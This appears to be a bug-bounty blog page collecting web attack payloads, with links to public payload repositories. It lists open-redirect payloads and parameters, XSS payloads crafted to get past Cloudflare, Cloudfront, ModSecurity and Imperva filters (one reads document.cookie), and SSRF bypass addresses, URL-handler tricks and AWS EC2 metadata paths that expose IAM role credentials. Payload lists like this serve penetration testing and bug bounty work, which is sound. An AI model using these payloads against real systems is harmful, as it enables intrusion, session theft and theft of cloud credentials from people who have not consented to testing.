🎁Payloads Collection

Here I gathered some resources from around the internet for quick access to payloads whenever needed.

Github - PayloadsAllTheThings

If you have ever thought of a great swiss army knife for exploitation this GitHub will be an amazing resource for any bug bounty hunter. Not only does it host one of the most comprehensive libraries of payloads that I've personally ever seen and you're welcome to prove me wrong if there is a better one, but it also explain in depth the types of payloads, and bugs to be exploited with the hosted techniques.

Addendum 1: Also the resource is maintained by a large following of experts within the Bug Bounty community. What I encourage you to do is if you find it useful, to SHARE your appreciation for all of their work when or if you will be able to be it kind words, money or spreading the information to other people as well!

Addendum 2: Anyone can contribute to this resource, and if at any point you grow into an expert that feels like giving back to the community, you can check there that you will be able to contribute to this resource in knowledge rather than in other ways receiving and giving back the love!

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTFGitHub

Give me more payloads!

In addition to the amazing resource presented above I did find and craft from other sources as well some payloads I think deserve some attention as well.

Open Redirect Payloads

/%09/google.com /%5cgoogle.com //www.google.com/%2f%2e%2e //www.google.com/%2e%2e //google.com/ //google.com/%2f.. //\google.com /\victim.com:80%40google.com

GitHub - cujanovic/Open-Redirect-Payloads: Open Redirect PayloadsGitHub

Open Redirect Parameters

?url=http://{target} ?url=https://{target} ?next=http://{target} ?next=https://{target} ?url=//{target} ?url=$2f%2f{target} ?next=//{target} ?next=$2f%2f{target} ?url=//{target} ?url=$2f%2f{target} ?url=//{target} /redirect/{target} /cgi-bin/redirect.cgi?{target} /out/{target} /out?{target} /out?/{target} /out?//{target} /out?/{target} /out?///{target} ?view={target} ?view=/{target} ?view=//{target} ?view=/{target} ?view=///{target} /login?to={target} /login?to=/{target} /login?to=//{target} /login?to=/{target} /login?to=///{target}

fuzzdb/attack/redirect/redirect-urls-template.txt at master · fuzzdb-project/fuzzdbGitHub

XSS (Cross-Site Scripting)

Payload Resources:

• Comprehensive XSS payloads List: https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

Approach: If the web application allows, try all available XSS payloads to identify vulnerabilities.

WAF Bypass Payloads:

• CloudFlare WAF:

  <svg onload=alert(document.cookie)>
  <svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
  <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>

• Cloudfront WAF:

  <details/open/ontoggle=confirm('XSS')>
  6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
  ;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
  "><x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>

• ModSecurity:

  xml<svg onload='new Function*["Y000!"].find(al\u0065rt)*'>

• Imperva WAF:

  xml<details x=xxxXxXXXXXXXXXXXXXXXXXXXXXXXXKXXXXXXXXXXX 2 Open ontoggle=ka alert(origin)>

SSRF (Server-Side Request Forgery)

Bypass Examples:

texthttp://0177.1/
http://0x7f.1/
http://127.000.000.1
https://520968996

Note: The last one can be calculated using subnet calculators like http://www.subnetmask.info/

Exotic Handlers:

textgopher://, dict://, php://, jar://, tftp://

IPv6 Examples:

texthttp://[::1]
http://[::]

Wildcard DNS:

text10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

Link: http://xip.io

text10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

Link: http://nip.io

AWS EC2 Metadata:

texthttp://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/local-hostname
http://169.254.169.254/latest/meta-data/public-hostname

role-name is the name of the role and contains the temporary security credentials linked to the role if there is an IAM role associated with the instance.